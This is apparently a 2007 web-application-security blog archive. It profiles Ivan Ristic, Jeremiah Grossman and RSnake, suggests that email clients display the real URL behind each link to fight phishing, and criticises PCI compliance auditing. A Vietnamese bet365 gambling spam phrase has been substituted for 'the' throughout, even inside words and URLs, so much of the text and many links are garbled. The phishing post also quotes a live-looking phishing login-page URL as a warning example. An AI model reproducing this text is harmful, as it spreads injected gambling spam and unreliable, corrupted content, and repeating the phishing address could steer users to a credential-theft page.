Friday, March 02, 2007

Reflection on Ivan Ristic


If we hear so much about web application firewalls and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir role as a first line of defense in protecting our web applications, a large amount of credit has to go to Ivan Ristic. Ivan Ristic is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 creator of ModSecurity (an open source web application firewall and intrusion detection/prevention engine). He started playing in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 webappsec space sometime around 2002 and working seriously since 2004. Based out of London, UK, he is only 33 years old and works for Breach Security. He is currently in charge of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ModSecurity product line, which includes ModSecurity, sensor appliances based around it and management appliances. Ivan also wrote Apache Security for O'Reilly, a web security guide for administrators, system architects, and programmers. Prior to web application security, he has worked as a developer, system architect and technical director in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 software development industry. He shared briefly his journey with ModSecurity for us. In his own words

"I started developing web applications in 1997. At that time no one really thought about web application security. Since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 applications I worked on were sensitive, I had to deal with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n or shortly cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re after. Over time it became apparent to me that designing 100% secure web applications is simply not possible. And even pretty good security is difficult to achieve for an average programmer. The only choice cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n (and it's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same today) was to fix applications. So cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real choice was between having IDS (a network level tool) or a proper HTTP-level tool. Using IDS to deal with HTTP-level problems is very difficult. They will not reassemble transactions and are typically very easy to evade. On top of that most can't see into SSL traffic. So I don't really think cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was a choice.

I started working on ModSecurity in November 2002. I came up with a beta version pretty quickly. If I recall 1.2 was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first version to be made available to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 public. But it wasn't until 1.5 that I felt comfortable enough with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product to tell ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can use it in production. Version 1.5 was out in May 2003. Although 1.4.2 (February 2003) was actually ready for production, version 1.5 had a web site, manual, mailing lists, etc. In ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r words cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whole package needed for a project.

My biggest hurdle was lack of documentation for Apache and (especially) Apache 2 programming. That's where I spent most of my time in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first couple of years. Getting content interception to work in Apache 1.3.x was difficult because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no API in Apache 1.3.x for that purpose (so my solution is a hack). And it's been very difficult in Apache 2.0.x because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was no documentation and when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was - it was outdated. In terms of code I always worked on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 project alone. But cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 community is not only about code - I've had a lot of help from various people over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 years, in one form or anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r.

The biggest decision I made was about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 model. At cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time I was thinking of building a separate program or writing an Apache module. I am still happy with my decision (to write an Apache module) because it allowed me to focus on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 areas I really cared about. Plus it allowed me to learn a lot about Apache and that lead me to write Apache Security, which was a tremendous project on its own.

I didn't work for a security company up until 2004. In 2004 I started my own business (Thinking Stone) to support ModSecurity. Thinking Stone was subsequently bought by Breach Security in 2006. I am still working for Breach Security today. We are a web application firewall company.As for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 future of Web Application Firewall, I cannot see a world without cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m. Even if web applications magically become secure overnight, a large part of what I think WAFs do is auditing and monitoring. In ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r words - defence in depth. I don't see that need ever going away."


Ivan spends his time thinking about web intrusion detection, web application security and security patterns. When he is not working, he spends his time cooking, photography, and studying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 English language but most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time he ends up back in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 webappsec space. He is probably cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first to talk about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 concept of "impedance mismatch" between applications and external security layers. Below are various ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r contributions from him


Books:-

Apache Security (O'Reilly, 2005)
http://www.apachesecurity.net/
http://www.oreilly.com/catalog/apachesc/index.html


Articles:-

Software Documentation with DocBook Quick HOWTO
http://www.oreillynet.com/sysadmin/blog/2005/11/software_documentation_with_do.html

Web Security Appliance with Apache and ModSecurity
http://www.securityfocus.com/infocus/1739

ModSecurity 2.0 with Ivan Ristic
http://www.securityfocus.com/columnists/418

Introducing mod_security
http://www.onlamp.com/pub/a/apache/2003/11/26/mod_security.html

What's New in ModSecurity
http://www.onlamp.com/pub/a/apache/2005/12/01/modsecurity.html

The public life of Apache Security begins
http://www.oreillynet.com/sysadmin/blog/2005/04/cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365_public_life_of_apache_secu.html

Web Application Firewalls Primer
http://www.net-security.org/dl/insecure/INSECURE-Mag-5.pdf


Contributions:-


Presentations:-

Web Application Firewalls – When are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y useful?
http://www.modsecurity.org/documentation/Web_Application_Firewalls_-_When_Are_They_Useful.pdf

Web Intrusion Detection with Mod Security
http://www.thinkingstone.com/talks/Web_Intrusion_Detection_with_ModSecurity.pdf

Mod Security: Embeddable Web Application Firewall
http://www.thinkingstone.com/talks/ModSecurity_Elevator_Pitch.pdf

Threat Modeling for Web Applications Deployment
http://www.thinkingstone.com/talks/Threat_Modelling.pdf

Apache Security Training
http://www.thinkingstone.com/talks/Apache_Security_Training.pdf


Memberships:-


Tools written by him:-

ModSecurity for Apache
ModSecurity Console
Apache Tools


Blog:-

http://www.modsecurity.org/blog/


Website:-

http://www.modsecurity.org/
http://www.apachesecurity.net/
http://www.ivanristic.com/


Companies worked for:-

Thinking Stone (founder)
DNS Europe
Eunet


Education:-

BSc in Computing & IT.


Email:-

ivanr__at__webkreator__dot__com

Last Week : Jeremiah Grossman
Next Week : Sheeraj Shah

Sunday, February 25, 2007

Separating actual urls hidden behind cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link can help reduce phishing

Lately i have been getting a lot of phishing emails in my inbox. Over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 years yahoo has done a good job in redirecting those to spam folders. Of course every now and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n one or two might slip through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cracks but its only until recently when i started getting a lot of phishing emails in my inbox. Emails for washington mutual, paypal, bank of america, etc. It didnt matter if i have an account with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m or not. Luckily Over time i have developed a habit of dragging my mouse over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link to see what is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual url behind cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link. Sure enough, it was taking me to some ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r website instead of what was shown in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link. What surprises me most is that though phishers have been using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same old method of deceiving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 users by making cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m click on fake urls, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 industry is still trying to find all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 possible means but not separating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual url from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link.

Here is an example. I received this in my yahoo mail today. If you drag your mouse over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link, you will see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual url is something else as mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link. (Be careful if you click on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url)
https://www.paypal.com/row/vst/id=11791677P5757633F

I know its an ongoing battle between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product managers and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security professionals on Where do you draw a line between a feature and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security. Allowing a user to click on a url is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 basic feature of a html page. Html emails use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same feature which is exploited by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 phishers and with a great success rate. The point i am trying to make here is email providers are spending a lot of money in creating a robust phishing detection mechanism but giving no attention to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 urls. How hard it is to match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual url with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 text mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link. If it doesnt match cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n based on ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r criterias it can be marked as phishing email/spam. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y dont want to mark it as phishing emails, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 least cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can do is display cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual url separately from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link and let cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user copy and paste it, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y want to. Its not a huge inconvenience to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user but at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same timeit can help reduce phishing attempts from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 malicious people.

If a phishing url could be displayed like this,

https://www.paypal.com/row/vst/id=11791677P5757633F (http://reseller4.ultrawhb.com/~mrbouble/.public/login.html)

cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n at least cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 customer is not fooled and if he copies and pastes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wrong url cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no solution to that.

Friday, February 23, 2007

Reflection on Jeremiah Grossman

Today’s personality is again well known for its contribution to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 world of web application security. Jeremiah Grossman is an expert in webappsec and is a CTO and a co-founder of Whitehat Security. He is also a founding member of Web Application Security Consortium. Jeremiah started hacking around 1991-92 but it was only until 2000, he took it as a profession when he was working for yahoo where he performed various web application security related activities. Over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 years he has done a lot of web application security R&D and contributed to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 community in various ways. He has spoken at numerous conferences, published a lot of articles, shared a lot of research ideas and made various ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r contributions including but not limited to Internet Security Apache Benchmark Group and Web Application Security Consortium. In his spare time he trains in Brazilian Jiu Jitsu and play australian rules football and his specialty is web application security, web development, Australian rules football and video game hacking.

Jeremiah is based out of San Jose, CA and is only 29 years old and has spoken at numerous conferences all over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 world including Black Hat, ISSA, ISACA, NASA, RSA, OWASP, AFITC, Stanford and many ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r industry events. His research, writings, and discoveries have featured in USA Today, VAR Business, NBC, ABC News (AU), ZDNet, eWeek, BetaNews, etc. Below is a compilation of most of his work, which by no means, covers his entire contribution.


Articles / Books:-

Ten Things You Should Know about Web Application Security
http://www.whitehatsec.com/downloads/WP10Things.pdf

The 80/20 Rule for Web Application Security
http://www.webappsec.org/projects/articles/013105.shtml

Chasing Vulnerabilities for Fun and Profit
http://www.whitehatsec.com/articles/chasing_vulnerabilities.shtml

Myth-Busting AJAX (In)Security
http://www.whitehatsec.com/home/resources/articles/files/myth_busting_ajax_insecurity.html

Myth-Busting Web Application Buffer Overflows
http://www.whitehatsec.com/articles/mythbusting_buffer_overflow.shtml

Pay Now or Pay Later: Obtaining ROI from Web Security
http://www.cunews.com/roundtable/WhiteHat3.pdf

Technology Alone Cannot Defeat Web Application Attacks
http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1189767,00.html

Insecure Web Sites
http://www.varbusiness.com/showArticle.jhtml?articleID=18825528

Thwarting SQL Web Hacks
http://www.varbusiness.com/showArticle.jhtml?articleID=18841325

Top 5 Myths of Web Application Security
http://www.varbusiness.com/showArticle.jhtml?articleID=22104030

Web Application Security 101
http://www.whitehatsec.com/articles/webappsec101.pdf

What Phishers Know That You Don't
http://www.betanews.com/article/What_Phishers_Know_That_You_Dont/1114784531

Cross-Site Scripting Worms and Viruses
http://www.whitehatsec.com/downloads/WHXSSThreats.pdf

Top 10 Web Hack of 2006
http://www.whitehatsec.com/home/resources/presentations/files/whitehat_top_hacks_06_F.pdf
Most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 recent ones are listed here:
http://jeremiahgrossman.blogspot.com/2006/12/top-10-web-hacks-of-2006.html

Automated Scanner vs. The OWASP Top Ten
http://jeremiahgrossman.blogspot.com/2007/01/automated-scanner-vs-owasp-top-ten.html

He is also co-authoring a book on XSS to be released tentatively on March 1, 2007
Cross Site Scripting Attacks: XSS Exploits and Defense

He also wrote cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 foreword for two books:-

Preventing Web Attacks with Apache
http://www.amazon.com/Preventing-Attacks-Apache-Ryan-Barnett/dp/

Hacking Exposed Web Applications, Second Edition
http://www.amazon.com/Hacking-Exposed-Web-Applications-Second/dp/


Contributions:-


Presentations:-

Hacking Intranet Websites from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Outside (Session code: HT2-107)
http://news.thomasnet.com/companystory/506356

Hacking Intranet Websites from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 outside - "JavaScript malware just got a lot more dangerous"
http://www.blackhat.com/html/bh-usa-06/bh-usa-06-speakers.html#Grossman

Phishing with super bait
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-grossman.pdf

Challenges of Automated Web Application Scanning
http://www.blackhat.com/presentations/bh-federal-03/bh-fed-03-grossman-up.pdf

Webserver Fingerprinting
http://www.whitehatsec.com/presentations/Black_Hat_Singapore_2002/BlackHat2002-Singapore.zip

The land that application security forgot
http://opensores.cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365bunker.net/pub/mirrors/blackhat/presentations/bh-europe-01/jeremiah-grossman/bh-europe-01-grossman.ppt

Hacking Intranet Websites from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Outside with JavaScript Malware Dang (CSI NetSec)
https://www.cmpevents.com/CSINS7/a.asp?option=C&V=11&SessID=4896

StillSecure, After all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se years, Podcast #28
http://www.stillsecureafterallcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365seyears.com/ashimmy/2007/01/episode_28_of_s.html

Cross-Site Tracing (XST)
http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

Automated Scanners vs. Low-Hanging Fruit
http://jeremiahgrossman.blogspot.com/2007/02/automated-scanners-vs-low-hanging-fruit.html


Speaking engagements:-

Jeremiah Grossman TV interview with ABC News (AU)
http://www.youtube.com/watch?v=HPutgmAzgQA

ISSA NORCAL Systems Security Symposium 2004, Network Security Conference 2004 – Web Application Security Auditing
http://www.issa-sac.org/conferences/2004/presentations.php#

Black Hat 2006 - Hacking Intranet Websites from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Outside "JavaScript malware just got a lot more dangerous"
http://www.blackhat.com/html/bh-japan-06/bh-jp-06-en-speakers.html#Grossman

Black Hat 2005 - Phishing with Super Bait
http://www.blackhat.com/html/bh-usa-05/bh-usa-05-speakers.html#grossman

Black Hat USA 2004 - Panelist
http://www.blackhat.com/html/bh-usa-04/bh-usa-04-speakers.html

AITP Central Valley – Web Application Security http://www.whitehatsec.com/presentations/AITP_CentralValley_062004.pdf

ISSA Sacramento 2004 – Auditing Web Applications
http://www.issa-sac.org/conferences/2004/presentations.php#

Blackhat Seattle 2004
http://www.blackhat.com/presentations/bh-federal-03/bh-fed-03-grossman-up.pdf

BlackHat Windows 2003 – Hacking Web Applications Training Class, Detecting Web Application Attacks Presentation
http://www.blackhat.com/html/win-usa-03/train-bh-win-03-wh.html

Blackhat New Orleans 2002 – Web Application Security and Arsenal http://www.blackhat.com/presentations/win-usa-02/grossman-winsec2002.ppt

Blackhat Europe 2001 – Web Application Security http://www.blackhat.com/presentations/bh-europe-01/jeremiah-grossman/bh-europe-01-grossman.ppt

Air Force Information Technology Conference 2001, Web Application Security
http://www.whitehatsec.com/presentations/AFITC_2001/afitc_2001.ppt

DefCon Las Vegas 2001 – Web Application Security in Theory and Practice
http://www.whitehatsec.com/presentations/Defcon9_2001/defcon9_presentation2001.ppt

Speaker and Panelist for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web Application Security Forum (Tokyo, Japan) - “WASC Activities and U.S. Web Application Security Trends”
http://www.whitehatsec.com/presentations/WASC_WASF_1.02.pdf

Blackhat Singapore 2002 – Web Server Fingerprinting - "A first look into web server fingerprinting"
http://www.blackhat.com/presentations/bh-asia-02/bh-asia-02-grossman.pdf

Podcast with ITRadio (Risky Business #1)
http://www.itradio.com.au/?p=6

Credit Union Information Security Conference Panelist 2004 http://www.cunews.com/infosec.htm

Washington Software Alliance 2003 / ISSA Pugeot Sound 2003 / Blackhat Federal 2003 / SuperCIO 2003 / NASA AMES 2003 – Challenges of Automated Web Application Scanning
http://www.whitehatsec.com/presentations/NASA_AMES_2003_v1.0.ppt

ISSA San Diego – Auditing Web Applications
http://www.whitehatsec.com/presentations/Auditing-Web%20Applications.pdf

ToorCon San Diego 2001 (Couldn’t find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url)


Proof of concepts:-

Intranet Hacking
http://jeremiahgrossman.blogspot.com/2006/09/video-hacking-intranet-websites-from.html

Browser Port Scanning without JavaScript
http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html

Bypassing Mozilla Port Blocking
http://jeremiahgrossman.blogspot.com/2006/11/bypassing-mozilla-port-blocking.html

I know if you're logged-in, anywhere
http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html

I know where you’ve been
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

Goodbye Applet, Hello NAT'ed IP Address
http://jeremiahgrossman.blogspot.com/2007/01/goodbye-applet-hello-nated-ip-address.html

JavaScript Array Overwriting - Advanced Web Attack Techniques using GMail
http://jeremiahgrossman.blogspot.com/2006/01/advanced-web-attack-techniques-using.html


Tools written by him:-

WhiteHat Webserver Fingerprinter (no longer available)http://www.whitehatsec.com/presentations/Black_Hat_Singapore_2002/wh_webserver_fingerprinter.tgz

Scoring Tool CIS for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Apache Benchmark
http://www.cisecurity.org/bench_apache.html

WhiteHat Arsenal (no longer available)


Memberships:-

WASC Co-Founder


Blog:-

http://jeremiahgrossman.blogspot.com


Website:-

www.whitehatsec.com


Companies worked for:-

Amgen, Yahoo, WhiteHat


Email:-

jeremiah__at__whitehatsec__dot__com


He is a man of ideas and thinks differently from ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs. His blog is amongst cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most followed blogs on information security. A must follow figure in web application security to stay current with emerging threats and news.

Last Week – RSnake
Next Week – Ivan Ristic

Tuesday, February 20, 2007

Compliance - is it worth cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 money?

While surfing through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 net i found a posting on compliance
http://bestsecurity.blogspot.com/2007/02/compliance-audit-is-not-substantive.html

Though it was more of a ranting on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 compliance but it certainly made me think my experience on PCI compliance.

I do agree that compliance has a place in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 industry. In my experience, had it not been for compliance, many companies have not paid attention towards web application security at all. Unfortunately, many of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product managers or project managers (in big enterprises) still do not understand cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue of web application security (or should i say don't want to understand) and hence we see a lot of vulnerable applications out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re. As for small and medium businesses, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sheer cost of securing web applications in itself makes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m not go for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 solutions. Compliance in a way is forcing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to do something about it. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem starts from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 governing agencies enforcing compliance. Take PCI compliance for example. It all started as a good idea to enforce companies to secure customer information but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y lost focus along cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way. It is OK as long as you are making sure if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 applications aren't vulnerable but if you want to enforce a company to have source code audit by an independent third party, that is where it gets ridiculous.
What about companies who doesnt want to reveal cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir source code? what if it is proprietary software? Can I trust cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 company who is doing my source code audit, more importantly can I trust cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 person who is doing my source code audit? We have seen cases of hackersafe signing websites that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are safe from hackers and we have seen cases of bank's employees (who are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 guardians of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 customer information) selling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 very customer information to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 outside agencies. Who can I trust? Not to say what is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 guarantee that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 person doing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code audit has enough knowledge of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 language and more importantly where are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 secure coding guidelines for us to follow?
The sheer cost of doing web application security compliance including black box testing, white box testing, source code analysis, web application firewall, etc, etc will run into hundreds of thousands of dollars (as we saw in RSA Conference) and not to mention cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 amount you have to pay for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 auditors.

The ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r ugly side of compliance is auditing companies. For PCI compliance, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re have been too many companies doing auditing for price ranging from $1000 to $13000. This confused me in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning and I started to ask questions about what is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value addition for that extra money and after doing a lot of research, I found out it's not about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value addition for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extra money, it's about saving your neck. When you can buy a compliance certificate for $1000 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n why do you want to pay $13000. Of course, if you really are concerned about your security and want to do things cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 right way, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 price definitely will not be $1000.

I am sorry to say but compliance has become just anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r way for auditing companies to make money and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real message has gotten lost.

Thursday, February 15, 2007

Reflection on RSnake


If you have heard of XSS cheat sheet or http://ha.ckers.org/ cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you already know him. His name is Robert Hansen or more popularly known as RSnake. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is any mention of XSS, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a big chance RSnake’s name or its cheat sheet is mentioned along with it. His contribution in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web application security awareness is legendary. On two of his many web sites (http://ha.ckers.org/ and http://sla.ckers.org/ ) you will find a wealth of information on various aspects of webappsec. His XSS cheat sheet is arguably cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most referenced link in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 webappsec space with 27000 hits in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 month of January ’07 alone and http://ha.ckers.org/ has around 10,000 unique visitors per day (not counting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RSS feeds) making it probably cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most followed blog in webappsec field. He has shared his technical expertise with a lot of industry professionals in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir work including but not limited to working with Microsoft engineers to address XSS issue, Cloaking to Stop Scraping, and his discussion with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 author of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chilling effect.

Looking at his past, he started hacking when he entered college, which was when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web applications were just getting started. In his words

"I'm a college dropout but was studying Computer Engineering. It was way too boring. They were dealing with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365oretical nuances of computers and outdated technology (Pascal pseudo-code on Macintosh assembler). At cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same time that I was going to school, in my part time jobs I was doing in practice what my professors could only barely grasp from a cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365oretical perspective. This was pre-bubble and my parents and my teachers were telling me to get out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re and make my millions. I took angel funding for a project, and everything seemed to be going well, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stock market crashed, investment money dried up and I learned a hard lesson. It was cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 day I closed up shop at my own company that I learned everything I need to know about business.
